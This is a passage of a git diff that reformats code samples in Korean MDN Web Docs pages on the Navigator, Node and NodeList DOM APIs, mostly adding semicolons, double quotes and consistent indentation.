+
 {{ Apiref() }}
 
 `battery` 객체는 시스템의 배터리 충전 상태에 대한 정보를 제공합니다. 배터리의 충전 상태가 변화할때 발생하는 이벤트에 대한 처리도 가능 합니다. 이 객체는 [Battery Status API](/ko/docs/Web/API/Battery_Status_API) 의 구현입니다. 보다 자세한 내용, API, 샘플 코드 등은 문서를 참고 해 주세요.
diff --git a/files/ko/web/api/navigator/language/index.md b/files/ko/web/api/navigator/language/index.md
index 4b17b7e4e0df65..937c199bfa8342 100644
--- a/files/ko/web/api/navigator/language/index.md
+++ b/files/ko/web/api/navigator/language/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Navigator/language
 ## 구문
 
 ```js
-const lang = navigator.language
+const lang = navigator.language;
 ```
 
 ### 값
diff --git a/files/ko/web/api/navigator/mediadevices/index.md b/files/ko/web/api/navigator/mediadevices/index.md
index c6af5705bceec3..868649520d3b24 100644
--- a/files/ko/web/api/navigator/mediadevices/index.md
+++ b/files/ko/web/api/navigator/mediadevices/index.md
@@ -2,6 +2,7 @@
 title: Navigator.mediaDevices
 slug: Web/API/Navigator/mediaDevices
 ---
+
 {{APIRef("Media Capture and Streams")}}
 
 **`Navigator.mediaDevices`** 읽기 전용 속성은 카메라, 마이크, 화면 공유와 같이 현재 연결된 미디어 입력 장치에 접근할 수 있는 {{domxref("MediaDevices")}} 객체를 반환합니다.
diff --git a/files/ko/web/api/navigator/online/index.md b/files/ko/web/api/navigator/online/index.md
index d6b5e0d0aafc7e..9a8798cd0947a6 100644
--- a/files/ko/web/api/navigator/online/index.md
+++ b/files/ko/web/api/navigator/online/index.md
@@ -18,7 +18,7 @@ In progress [Firefox 3](/ko/Firefox_3_for_developers)는 [WHATWG 웹 애플리
 여러분의 웹 애플리케이션은 특정 문서가 오프라인 자원 캐시에 보관되는 것을 확실하게 할 필요도 있습니다. 이를 위해서는 다음과 같이 `HEAD` 섹션에 `LINK` 요소를 포함합니다.
 
 ```html
-<link rel="offline-resource" href="myresource">
+<link rel="offline-resource" href="myresource" />
 ```
 
 이는 Firefox 3 및 이후 버전에서 HTML을 처리할 때, 참조하는 자원을 오프라인에서 사용할 수 있도록 특별한 오프라인 자원 캐시에 저장하도록 합니다.
@@ -54,33 +54,47 @@ Firefox 2는 윈도우와 리눅스에서 브라우저의 온라인/오프라인
 ```html
 <!doctype html>
 <html>
-<head>
-  <script>
-    function updateOnlineStatus(msg) {
-      var status = document.getElementById("status");
-      var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
-      status.setAttribute("class", condition);
-      var state = document.getElementById("state");
-      state.innerHTML = condition;
-      var log = document.getElementById("log");
-      log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
-    }
-    function loaded() {
-      updateOnlineStatus("load");
-      document.body.addEventListener("offline", function () {
-        updateOnlineStatus("offline")
-      }, false);
-      document.body.addEventListener("online", function () {
-        updateOnlineStatus("online")
-      }, false);
-    }
-  </script>
-  <style>...</style>
-</head>
-<body onload="loaded()">
-  <div id="status"><p id="state"></p></div>
-  <div id="log"></div>
-</body>
+  <head>
+    <script>
+      function updateOnlineStatus(msg) {
+        var status = document.getElementById("status");
+        var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+        status.setAttribute("class", condition);
+        var state = document.getElementById("state");
+        state.innerHTML = condition;
+        var log = document.getElementById("log");
+        log.appendChild(
+          document.createTextNode(
+            "Event: " + msg + "; status=" + condition + "\n",
+          ),
+        );
+      }
+      function loaded() {
+        updateOnlineStatus("load");
+        document.body.addEventListener(
+          "offline",
+          function () {
+            updateOnlineStatus("offline");
+          },
+          false,
+        );
+        document.body.addEventListener(
+          "online",
+          function () {
+            updateOnlineStatus("online");
+          },
+          false,
+        );
+      }
+    </script>
+    <style>
+      ...
+    </style>
+  </head>
+  <body onload="loaded()">
+    <div id="status"><p id="state"></p></div>
+    <div id="log"></div>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/navigator/registerprotocolhandler/index.md b/files/ko/web/api/navigator/registerprotocolhandler/index.md
index ac40d53b4426f1..66a969aec7840b 100644
--- a/files/ko/web/api/navigator/registerprotocolhandler/index.md
+++ b/files/ko/web/api/navigator/registerprotocolhandler/index.md
@@ -72,9 +72,11 @@ navigator.registerProtocolHandler(protocol, url, title);
 사이트 주소가 `burgers.example.com`인 경우, 아래 코드로 `web+burger:` 스킴에 대한 처리기를 등록할 수 있습니다.
 
 ```js
-navigator.registerProtocolHandler("web+burger",
-                                  "https://burgers.example.com/?burger=%s",
-                                  "Burger handler");
+navigator.registerProtocolHandler(
+  "web+burger",
+  "https://burgers.example.com/?burger=%s",
+  "Burger handler",
+);
 ```
 
 이제, `web+burger:` 링크는 사용자를 `burgers.example.com`로 보내고, 자신의 URL을 `%s` 위치에 삽입합니다.
diff --git a/files/ko/web/api/navigator/share/index.md b/files/ko/web/api/navigator/share/index.md
index 01103b12729fa0..407eefce4d6938 100644
--- a/files/ko/web/api/navigator/share/index.md
+++ b/files/ko/web/api/navigator/share/index.md
@@ -32,8 +32,8 @@ var sharePromise = window.navigator.share(data);
 ```js
 navigator.share({
   title: document.title,
-  text: 'Hello World',
-  url: 'https://developer.mozilla.org',
+  text: "Hello World",
+  url: "https://developer.mozilla.org",
 }); // share the URL of MDN
 ```
 
diff --git a/files/ko/web/api/network_information_api/index.md b/files/ko/web/api/network_information_api/index.md
index 111a6e85fd3c89..db8e0552c2c020 100644
--- a/files/ko/web/api/network_information_api/index.md
+++ b/files/ko/web/api/network_information_api/index.md
@@ -12,7 +12,8 @@ slug: Web/API/Network_Information_API
 이 예제는 사용자의 연결상태 변화를 감시합니다. 사용자가 비싼 망에서 싼 망으로 이동할 때 사용자가 추가적인 비용을 지불하지 않게 하기 위해서 전송량을 감소시키는 등과 같은 행동을 할 수 있게 앱이 경고를 하는 일과 비슷합니다.
 
 ```js
-var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var connection =
+  navigator.connection || navigator.mozConnection || navigator.webkitConnection;
 
 function updateConnectionStatus() {
   alert("Connection bandwidth: " + connection.bandwidth + " MB/s");
diff --git a/files/ko/web/api/node/appendchild/index.md b/files/ko/web/api/node/appendchild/index.md
index 1774b0c8e64547..10a84abc4374af 100644
--- a/files/ko/web/api/node/appendchild/index.md
+++ b/files/ko/web/api/node/appendchild/index.md
@@ -2,6 +2,7 @@
 title: Node.appendChild()
 slug: Web/API/Node/appendChild
 ---
+
 {{APIRef("DOM")}}
 
 **`Node.appendChild()`** 메소드는 한 노드를 특정 부모 노드의 자식 노드 리스트 중 마지막 자식으로 붙입니다. 만약 주어진 노드가 이미 문서에 존재하는 노드를 참조하고 있다면 `appendChild()` 메소드는 노드를 현재 위치에서 새로운 위치로 이동시킵니다. (문서에 존재하는 노드를 다른 곳으로 붙이기 전에 부모 노드로 부터 지워버릴 필요는 없습니다.)
diff --git a/files/ko/web/api/node/childnodes/index.md b/files/ko/web/api/node/childnodes/index.md
index 4fa4f83b4df3f3..8a8284bb4ebe10 100644
--- a/files/ko/web/api/node/childnodes/index.md
+++ b/files/ko/web/api/node/childnodes/index.md
@@ -25,24 +25,21 @@ var ndList = elementNodeReference.childNodes;
 
 ```js
 // parg는 <p> 요소 개체 참조
-if (parg.hasChildNodes())
-// 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
-  {
-    var children = parg.childNodes;
-    for (var i = 0; i < children.length; i++)
-    {
+if (parg.hasChildNodes()) {
+  // 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
+  var children = parg.childNodes;
+  for (var i = 0; i < children.length; i++) {
     // children[i]로 각 자식에 무언가를 함
     // 주의: 목록은 유효해(live), 자식 추가나 제거는 목록을 바꿈
-    };
-  };
+  }
+}
 
 // This는 노드에서 모든 자식을 제거하는 한 방법
 // box는 자식 있는 요소 개체 참조
-while (box.firstChild)
-  {
-    //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
-    box.removeChild(box.firstChild);
-  };
+while (box.firstChild) {
+  //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
+  box.removeChild(box.firstChild);
+}
 ```
 
 ## 명세
diff --git a/files/ko/web/api/node/contains/index.md b/files/ko/web/api/node/contains/index.md
index a7adf092634f71..0ceb69c5dccb17 100644
--- a/files/ko/web/api/node/contains/index.md
+++ b/files/ko/web/api/node/contains/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Node/contains
 ## Syntax
 
 ```js
-node.contains( otherNode )
+node.contains(otherNode);
 ```
 
 ## Example
@@ -19,7 +19,7 @@ node.contains( otherNode )
 
 ```js
 function isInPage(node) {
-  return (node === document.body) ? false : document.body.contains(node);
+  return node === document.body ? false : document.body.contains(node);
 }
 ```
 
diff --git a/files/ko/web/api/node/firstchild/index.md b/files/ko/web/api/node/firstchild/index.md
index 6b14985735b519..be7e668e1e0074 100644
--- a/files/ko/web/api/node/firstchild/index.md
+++ b/files/ko/web/api/node/firstchild/index.md
@@ -27,8 +27,8 @@ childNode = node.firstChild;
 </p>
 
 <script type="text/javascript">
-  var p01 = document.getElementById('para-01');
-  alert(p01.firstChild.nodeName)
+  var p01 = document.getElementById("para-01");
+  alert(p01.firstChild.nodeName);
 </script>
 ```
 
@@ -42,8 +42,8 @@ childNode = node.firstChild;
 <p id="para-01"><span>First span</span></p>
 
 <script type="text/javascript">
-  var p01 = document.getElementById('para-01');
-  alert(p01.firstChild.nodeName)
+  var p01 = document.getElementById("para-01");
+  alert(p01.firstChild.nodeName);
 </script>
 ```
 
diff --git a/files/ko/web/api/node/haschildnodes/index.md b/files/ko/web/api/node/haschildnodes/index.md
index bbc95d4c905215..415d4fe59e89c4 100644
--- a/files/ko/web/api/node/haschildnodes/index.md
+++ b/files/ko/web/api/node/haschildnodes/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Node/hasChildNodes
 ## 구문
 
 ```js
-node.hasChildNodes()
+node.hasChildNodes();
 ```
 
 ## 예시
@@ -20,8 +20,8 @@ node.hasChildNodes()
 ```js
 var foo = document.getElementById("foo");
 
-if ( foo.hasChildNodes() ) {
-  foo.removeChild( foo.childNodes[0] );
+if (foo.hasChildNodes()) {
+  foo.removeChild(foo.childNodes[0]);
 }
 ```
 
diff --git a/files/ko/web/api/node/index.md b/files/ko/web/api/node/index.md
index 09a8a026e6d37f..26fae93d81e1fa 100644
--- a/files/ko/web/api/node/index.md
+++ b/files/ko/web/api/node/index.md
@@ -2,6 +2,7 @@
 title: Node
 slug: Web/API/Node
 ---
+
 {{APIRef("DOM")}}
 
 **`Node`** 는 여러 가지 DOM 타입들이 상속하는 인터페이스이며 그 다양한 타입들을 비슷하게 처리할 수 있게 한다. 예를들어, 똑같은 메소드를 상속하거나 똑같은 방식으로 테스트를 할수있다
@@ -40,17 +41,17 @@ _부모인 {{domxref("EventTarget")}}으로부터 프라퍼티를 상속한다_.
   - | : Returns an `unsigned short` representing the type of the node. Possible values are: | Name | Value |
     | ------------------------------------------------------------------------------------- | ---- | ----- |
     | `ELEMENT_NODE`                                                                        | `1`  |
-    | `ATTRIBUTE_NODE` {{deprecated_inline()}}                                     | `2`  |
+    | `ATTRIBUTE_NODE` {{deprecated_inline()}}                                              | `2`  |
     | `TEXT_NODE`                                                                           | `3`  |
-    | `CDATA_SECTION_NODE` {{deprecated_inline()}}                                 | `4`  |
-    | `ENTITY_REFERENCE_NODE` {{deprecated_inline()}}                              | `5`  |
-    | `ENTITY_NODE` {{deprecated_inline()}}                                        | `6`  |
+    | `CDATA_SECTION_NODE` {{deprecated_inline()}}                                          | `4`  |
+    | `ENTITY_REFERENCE_NODE` {{deprecated_inline()}}                                       | `5`  |
+    | `ENTITY_NODE` {{deprecated_inline()}}                                                 | `6`  |
     | `PROCESSING_INSTRUCTION_NODE`                                                         | `7`  |
     | `COMMENT_NODE`                                                                        | `8`  |
     | `DOCUMENT_NODE`                                                                       | `9`  |
     | `DOCUMENT_TYPE_NODE`                                                                  | `10` |
     | `DOCUMENT_FRAGMENT_NODE`                                                              | `11` |
-    | `NOTATION_NODE` {{deprecated_inline()}}                                      | `12` |
+    | `NOTATION_NODE` {{deprecated_inline()}}                                               | `12` |
 - {{domxref("Node.nodeValue")}}
   - : Is a {{domxref("DOMString")}} representing the value of an object. For most `Node` type, this returns `null` and any set operation is ignored. For nodes of type `TEXT_NODE` ({{domxref("Text")}} objects), `COMMENT_NODE` ({{domxref("Comment")}} objects), and `PROCESSING_INSTRUCTION_NODE` ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.
 - {{domxref("Node.ownerDocument")}} {{readonlyInline}}
@@ -128,7 +129,7 @@ _부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속한다_.\[1
 The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).
 
 ```js
-function DOMComb (oParent, oCallback) {
+function DOMComb(oParent, oCallback) {
   if (oParent.hasChildNodes()) {
     for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
       DOMComb(oNode, oCallback);
@@ -160,8 +161,10 @@ Recursively cycle all child nodes of `parentNode` and `parentNode` itself and ex
 The following example send to the `console.log` the text content of the body:
 
 ```js
-function printContent () {
-  if (this.nodeValue) { console.log(this.nodeValue); }
+function printContent() {
+  if (this.nodeValue) {
+    console.log(this.nodeValue);
+  }
 }
 
 onload = function () {
@@ -173,7 +176,9 @@ onload = function () {
 
 ```js
 Element.prototype.removeAll = function () {
-  while (this.firstChild) { this.removeChild(this.firstChild); }
+  while (this.firstChild) {
+    this.removeChild(this.firstChild);
+  }
   return this;
 };
 ```
diff --git a/files/ko/web/api/node/insertbefore/index.md b/files/ko/web/api/node/insertbefore/index.md
index 9b607f16adf9d6..47b121d4a12716 100644
--- a/files/ko/web/api/node/insertbefore/index.md
+++ b/files/ko/web/api/node/insertbefore/index.md
@@ -2,6 +2,7 @@
 title: Node.insertBefore()
 slug: Web/API/Node/insertBefore
 ---
+
 {{APIRef("DOM")}}
 
 **`Node.insertBefore()`** 메소드는 참조된 노드 앞에 특정 부모 노드의 자식 노드를 삽입합니다. 만약 주어진 자식 노드가 document에 존재하는 노드를 참조한다면, `insertBefore()` 가 자식 노드를 현재 위치에서 새로운 위치로 옮깁니다. (노드를 다른 노드에 추가하기 전에 상위 노드에서 제거할 필요가 없습니다)
@@ -30,30 +31,30 @@ var insertedNode = parentNode.insertBefore(newNode, referenceNode);
 
 ```html
 <div id="parentElement">
-   <span id="childElement">foo bar</span>
+  <span id="childElement">foo bar</span>
 </div>
 
 <script>
-// Create the new node to insert
-var newNode = document.createElement("span");
-
-// Get a reference to the parent node
-var parentDiv = document.getElementById("childElement").parentNode;
-
-// Begin test case [ 1 ] : Exist a childElement --> All working correctly
-var sp2 = document.getElementById("childElement");
-parentDiv.insertBefore(newNode, sp2);
-// End test case [ 1 ]
-
-// Begin test case [ 2 ] : childElement is of Type undefined
-var sp2 = undefined; // Not exist a node of id "childElement"
-parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
-// End test case [ 2 ]
-
-// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
-var sp2 = "undefined"; // Not exist a node of id "childElement"
-parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
-// End test case [ 3 ]
+  // Create the new node to insert
+  var newNode = document.createElement("span");
+
+  // Get a reference to the parent node
+  var parentDiv = document.getElementById("childElement").parentNode;
+
+  // Begin test case [ 1 ] : Exist a childElement --> All working correctly
+  var sp2 = document.getElementById("childElement");
+  parentDiv.insertBefore(newNode, sp2);
+  // End test case [ 1 ]
+
+  // Begin test case [ 2 ] : childElement is of Type undefined
+  var sp2 = undefined; // Not exist a node of id "childElement"
+  parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+  // End test case [ 2 ]
+
+  // Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+  var sp2 = "undefined"; // Not exist a node of id "childElement"
+  parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+  // End test case [ 3 ]
 </script>
 ```
 
@@ -70,20 +71,20 @@ parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
 </div>
 
 <script>
-// Create a new, plain <span> element
-var sp1 = document.createElement("span");
+  // Create a new, plain <span> element
+  var sp1 = document.createElement("span");
 
-// Get a reference to the element, before we want to insert the element
-var sp2 = document.getElementById("childElement");
-// Get a reference to the parent element
-var parentDiv = sp2.parentNode;
+  // Get a reference to the element, before we want to insert the element
+  var sp2 = document.getElementById("childElement");
+  // Get a reference to the parent element
+  var parentDiv = sp2.parentNode;
 
-// Insert the new element into the DOM before sp2
-parentDiv.insertBefore(sp1, sp2);
+  // Insert the new element into the DOM before sp2
+  parentDiv.insertBefore(sp1, sp2);
 </script>
 ```
 
-There is no `insertAfter` method. It can be emulated by combining the `insertBefore` method with [`nextSibling`](/en-US/docs/DOM/Node.nextSibling).
+There is no `insertAfter` method. It can be emulated by combining the `insertBefore` method with [`nextSibling`](/ko/docs/DOM/Node.nextSibling).
 
 In the previous example, `sp1` could be inserted after `sp2` using:
 
@@ -99,7 +100,7 @@ Insert an element before the first child element, using the [firstChild](/ko/doc
 
 ```js
 // Get a reference to the element in which we want to insert a new node
-var parentElement = document.getElementById('parentElement');
+var parentElement = document.getElementById("parentElement");
 // Get a reference to the first child
 var theFirstChild = parentElement.firstChild;
 
diff --git a/files/ko/web/api/node/lastchild/index.md b/files/ko/web/api/node/lastchild/index.md
index 71b96647e5bdd1..75cfd77620af70 100644
--- a/files/ko/web/api/node/lastchild/index.md
+++ b/files/ko/web/api/node/lastchild/index.md
@@ -12,7 +12,7 @@ slug: Web/API/Node/lastChild
 ## 구문과 값
 
 ```js
-last_child = element.lastChild
+last_child = element.lastChild;
 ```
 
 반환되는 `last_child`는 노드입니다. 노드의 부모가 요소이면, 자식은 보통 요소 노드, 텍스트 노드, 주석 노드입니다.
diff --git a/files/ko/web/api/node/nextsibling/index.md b/files/ko/web/api/node/nextsibling/index.md
index 2a4569e815f9f8..0e8950c0e9fa86 100644
--- a/files/ko/web/api/node/nextsibling/index.md
+++ b/files/ko/web/api/node/nextsibling/index.md
@@ -2,6 +2,7 @@
 title: Node.nextSibling
 slug: Web/API/Node/nextSibling
 ---
+
 {{APIRef("DOM")}}
 
 읽기 전용 속성인 **`Node.nextSibling`** 은 부모의 {{domxref("Node.childNodes","childNodes")}} 목록에서 지정된 노드 바로 다음에 있는 노드를 반환하거나 지정된 노드가 해당 목록의 마지막 노드이면 `null` 값을 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Node/nextSibling
 ## Syntax
 
 ```js
-nextNode = node.nextSibling
+nextNode = node.nextSibling;
 ```
 
 ## Notes
@@ -28,29 +29,20 @@ Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위
 <div id="div-02">Here is div-02</div>
 
 <script type="text/javascript">
-var el = document.getElementById('div-01').nextSibling,
+  var el = document.getElementById("div-01").nextSibling,
     i = 1;
 
-console.log('Siblings of div-01:');
-
-while (el) {
-  console.log(i + '. ' + el.nodeName);
-  el = el.nextSibling;
-  i++;
-}
+  console.log("Siblings of div-01:");
 
+  while (el) {
+    console.log(i + ". " + el.nodeName);
+    el = el.nextSibling;
+    i++;
+  }
 </script>
 
-/**************************************************
-   로드될 때 다음과 같이 콘솔에 기록됩니다. :
-
-     Siblings of div-01
-
-      1. #text
-      2. DIV
-      3. #text
-      4. SCRIPT
-
+/************************************************** 로드될 때 다음과 같이 콘솔에
+기록됩니다. : Siblings of div-01 1. #text 2. DIV 3. #text 4. SCRIPT
 **************************************************/
 ```
 
diff --git a/files/ko/web/api/node/normalize/index.md b/files/ko/web/api/node/normalize/index.md
index 2dc8efe5391f67..03415487b11f2f 100644
--- a/files/ko/web/api/node/normalize/index.md
+++ b/files/ko/web/api/node/normalize/index.md
@@ -2,6 +2,7 @@
 title: Node.normalize()
 slug: Web/API/Node/normalize
 ---
+
 {{APIRef("DOM")}}
 
 **`Node.normalize()`** 메소드는 지정된 노드와 하위 트리의 모든 노드를 "정규화된" 형태로 놓습니다. 정규화된 하위 트리의 텍스트 노드는 비어있지 않으며 인접한 텍스트 노드도 존재하지 않습니다.
@@ -17,8 +18,8 @@ element.normalize();
 ```js
 var wrapper = document.createElement("div");
 
-wrapper.appendChild( document.createTextNode("Part 1 ") );
-wrapper.appendChild( document.createTextNode("Part 2 ") );
+wrapper.appendChild(document.createTextNode("Part 1 "));
+wrapper.appendChild(document.createTextNode("Part 2 "));
 
 // 이 때, wrapper.childNodes.length === 2
 // wrapper.childNodes[0].textContent === "Part 1 "
diff --git a/files/ko/web/api/node/ownerdocument/index.md b/files/ko/web/api/node/ownerdocument/index.md
index 0093eba4b31813..4d279eb0fa6685 100644
--- a/files/ko/web/api/node/ownerdocument/index.md
+++ b/files/ko/web/api/node/ownerdocument/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Node/ownerDocument
 ## Syntax
 
 ```js
-document = element.ownerDocument
+document = element.ownerDocument;
 ```
 
 - `document` 는 element 의 부모 [`document`](/ko/docs/DOM/document) 객체입니다.
diff --git a/files/ko/web/api/node/replacechild/index.md b/files/ko/web/api/node/replacechild/index.md
index 39a8cb9ae52009..ccd8346a5c8c27 100644
--- a/files/ko/web/api/node/replacechild/index.md
+++ b/files/ko/web/api/node/replacechild/index.md
@@ -2,6 +2,7 @@
 title: Node.replaceChild()
 slug: Web/API/Node/replaceChild
 ---
+
 {{APIRef("DOM")}}
 
 **`Node.replaceChild()`** 메소드는 특정 부모 노드의 한 자식 노드를 다른 노드로 교체합니다.
diff --git a/files/ko/web/api/node/textcontent/index.md b/files/ko/web/api/node/textcontent/index.md
index e95bb0b53c183b..8dd168f958ecff 100644
--- a/files/ko/web/api/node/textcontent/index.md
+++ b/files/ko/web/api/node/textcontent/index.md
@@ -2,6 +2,7 @@
 title: Node.textContent
 slug: Web/API/Node/textContent
 ---
+
 {{APIRef("DOM")}}
 
 {{domxref("Node")}} 인터페이스의 **`textContent`** 속성은 노드와 그 자손의 텍스트 콘텐츠를 표현합니다.
@@ -11,8 +12,8 @@ slug: Web/API/Node/textContent
 ## 구문
 
 ```js
-let text = someNode.textContent
-someOtherNode.textContent = string
+let text = someNode.textContent;
+someOtherNode.textContent = string;
 ```
 
 ### 값
@@ -60,14 +61,14 @@ someOtherNode.textContent = string
 `textContent`를 사용해 요소의 텍스트 콘텐츠를 가져오거나...
 
 ```js
-let text = document.getElementById('divA').textContent;
+let text = document.getElementById("divA").textContent;
 // The text variable is now: 'This is some text!'
 ```
 
 텍스트 내용을 설정할 수 있습니다.
 
 ```js
-document.getElementById('divA').textContent = 'This text is different!';
+document.getElementById("divA").textContent = "This text is different!";
 // The HTML for divA is now:
 // <div id="divA">This text is different!</div>
 ```
diff --git a/files/ko/web/api/nodelist/entries/index.md b/files/ko/web/api/nodelist/entries/index.md
index dbae9e2719cf5c..5443de49b3349e 100644
--- a/files/ko/web/api/nodelist/entries/index.md
+++ b/files/ko/web/api/nodelist/entries/index.md
@@ -31,7 +31,7 @@ node.appendChild(kid3);
 var list = node.childNodes;
 
 // Using for..of
-for(var entry of list.entries()) {
+for (var entry of list.entries()) {
   console.log(entry);
 }
 ```
diff --git a/files/ko/web/api/nodelist/foreach/index.md b/files/ko/web/api/nodelist/foreach/index.md
index 2ab92ffe772a64..e99c76daee11fa 100644
--- a/files/ko/web/api/nodelist/foreach/index.md
+++ b/files/ko/web/api/nodelist/foreach/index.md
@@ -47,12 +47,9 @@ node.appendChild(kid3);
 
 var list = node.childNodes;
 
-list.forEach(
-  function(currentValue, currentIndex, listObj) {
-    console.log(currentValue + ', ' + currentIndex + ', ' + this);
-  },
-  'myThisArg'
-);
+list.forEach(function (currentValue, currentIndex, listObj) {
+  console.log(currentValue + ", " + currentIndex + ", " + this);
+}, "myThisArg");
 ```
 
 결과는 다음과 같습니다.
@@ -69,12 +66,12 @@ list.forEach(
 
 ```js
 if (window.NodeList && !NodeList.prototype.forEach) {
-    NodeList.prototype.forEach = function (callback, thisArg) {
-        thisArg = thisArg || window;
-        for (var i = 0; i < this.length; i++) {
-            callback.call(thisArg, this[i], i, this);
-        }
-    };
+  NodeList.prototype.forEach = function (callback, thisArg) {
+    thisArg = thisArg || window;
+    for (var i = 0; i < this.length; i++) {
+      callback.call(thisArg, this[i], i, this);
+    }
+  };
 }
 ```
 
@@ -82,7 +79,7 @@ if (window.NodeList && !NodeList.prototype.forEach) {
 
 ```js
 if (window.NodeList && !NodeList.prototype.forEach) {
-    NodeList.prototype.forEach = Array.prototype.forEach;
+  NodeList.prototype.forEach = Array.prototype.forEach;
 }
 ```
 
diff --git a/files/ko/web/api/nodelist/index.md b/files/ko/web/api/nodelist/index.md
index ec24f51311449a..346eedb6132f33 100644
--- a/files/ko/web/api/nodelist/index.md
+++ b/files/ko/web/api/nodelist/index.md
@@ -12,10 +12,10 @@ slug: Web/API/NodeList
 경우에 따라, `NodeList`는 라이브 콜렉션으로, DOM의 변경 사항을 실시간으로 콜렉션에 반영합니다. 예를 들어, {{domxref("Node.childNodes")}} 는 실시간입니다:
 
 ```js
-var parent = document.getElementById('parent');
+var parent = document.getElementById("parent");
 var child_nodes = parent.childNodes;
 console.log(child_nodes.length); // let's assume "2"
-parent.appendChild(document.createElement('div'));
+parent.appendChild(document.createElement("div"));
 console.log(child_nodes.length); // should output "3"
 ```
 
@@ -38,16 +38,16 @@ for 루프를 사용하여 `NodeList`의 항목을 반복할 수 있습니다.
 
 ```js
 for (var i = 0; i < myNodeList.length; ++i) {
-  var item = myNodeList[i];  // Calling myNodeList.item(i) isn't necessary in JavaScript
+  var item = myNodeList[i]; // Calling myNodeList.item(i) isn't necessary in JavaScript
 }
 ```
 
 **리스트의 항목(items)을 열거하기 위해 [for...in](/ko/docs/JavaScript/Reference/Statements/for...in) 또는 [for each...in](/ko/docs/JavaScript/Reference/Statements/for_each...in)를 사용하지 않길 바랍니다.** `NodeList`의 길이와 항목 속성까지 열거합니다. 또한 스크립트가 요소({{domxref("element")}}) 객체만 처리한다고 가정하면 오류가 발생할 수 있습니다. 게다가, `for..in`은 고정된 순서로 각 속성들을 접근한다는 보장이 없습니다.
 
-[`for...of`](/en-US/docs/JavaScript/Reference/Statements/for...of) 루프는 `NodeList` 객체를 올바르게 반복합니다.
+[`for...of`](/ko/docs/JavaScript/Reference/Statements/for...of) 루프는 `NodeList` 객체를 올바르게 반복합니다.
 
 ```js
-var list = document.querySelectorAll( 'input[type=checkbox]' );
+var list = document.querySelectorAll("input[type=checkbox]");
 for (var item of list) {
   item.checked = true;
 }
@@ -58,7 +58,7 @@ for (var item of list) {
 인터넷 익스플로러의 호환을 위해서는 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 를 사용하는 방법도 있습니다.
 
 ```js
-var list = document.querySelectorAll( 'input[type=checkbox]' );
+var list = document.querySelectorAll("input[type=checkbox]");
 Array.prototype.forEach.call(list, function (item) {
   item.checked = true;
 });
@@ -69,7 +69,7 @@ Array.prototype.forEach.call(list, function (item) {
 NodeList의 컨텐츠를 Array의 메소드를 통해 다루는 것이 더 쉬울 때도 있다. 아래는 NodeList 객체를 Array로 변환하는 기법이다.
 
 ```js
-var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_list = document.querySelectorAll("div"); // returns NodeList
 var div_array = Array.prototype.slice.call(div_list); // converts NodeList to Array
 ```
 
@@ -80,20 +80,20 @@ NodeList에 프로토타입을 추가할 수도 있다.
 ```js
 var elements = document.querySelectorAll(".suggestions");
 
-NodeList.prototype.addEventListener = function(event, func) {
-    this.forEach(function(content, item) {
-       content.addEventListener(event, func);
-    });
-}
+NodeList.prototype.addEventListener = function (event, func) {
+  this.forEach(function (content, item) {
+    content.addEventListener(event, func);
+  });
+};
 
 function log() {
-    console.log(this, " was clicked");
+  console.log(this, " was clicked");
 }
 
 elements.addEventListener("click", log);
 //or
-elements.addEventListener("click", function() {
-    console.log(this, "  awas clicked");
+elements.addEventListener("click", function () {
+  console.log(this, "  awas clicked");
 });
 // 클릭된 요소로부터 출력될 요소는 둘 모두 HTML 요소가 된다.
 ```
diff --git a/files/ko/web/api/nodelist/item/index.md b/files/ko/web/api/nodelist/item/index.md
index 5bb1e14981b5c0..aea808bdc81aa9 100644
--- a/files/ko/web/api/nodelist/item/index.md
+++ b/files/ko/web/api/nodelist/item/index.md
@@ -10,7 +10,7 @@ slug: Web/API/NodeList/item
 ## Syntax
 
 ```js
-nodeItem = nodeList.item(index)
+nodeItem = nodeList.item(index);
 ```
 
 - `nodeList` 는 `NodeList` 입니다. 일반적으로 [childNodes](/ko/docs/Web/API/Node/childNodes) 와 같은 다른 DOM 속성(property) 또는 메서드에서 가져옵니다.
@@ -22,7 +22,7 @@ nodeItem = nodeList.item(index)
 자바스크립트는 NodeList 에서 index를 얻기 위한, 배열과 같은 브라켓 문법(\[])을 제공합니다 :
 
 ```js
-nodeItem = nodeList[index]
+nodeItem = nodeList[index];
 ```
 
 ## Example
diff --git a/files/ko/web/api/nodelist/keys/index.md b/files/ko/web/api/nodelist/keys/index.md
index e18f4e9b8b6e49..422eb37489225f 100644
--- a/files/ko/web/api/nodelist/keys/index.md
+++ b/files/ko/web/api/nodelist/keys/index.md
@@ -32,8 +32,8 @@ node.appendChild(kid3);
 var list = node.childNodes;
 
 // Using for..of
-for(var key of list.keys()) {
-   console.log(key);
+for (var key of list.keys()) {
+  console.log(key);
 }
 ```
 
diff --git a/files/ko/web/api/nodelist/length/index.md b/files/ko/web/api/nodelist/length/index.md
index 8cdcce6248650e..19f2a2b0704cc8 100644
--- a/files/ko/web/api/nodelist/length/index.md
+++ b/files/ko/web/api/nodelist/length/index.md
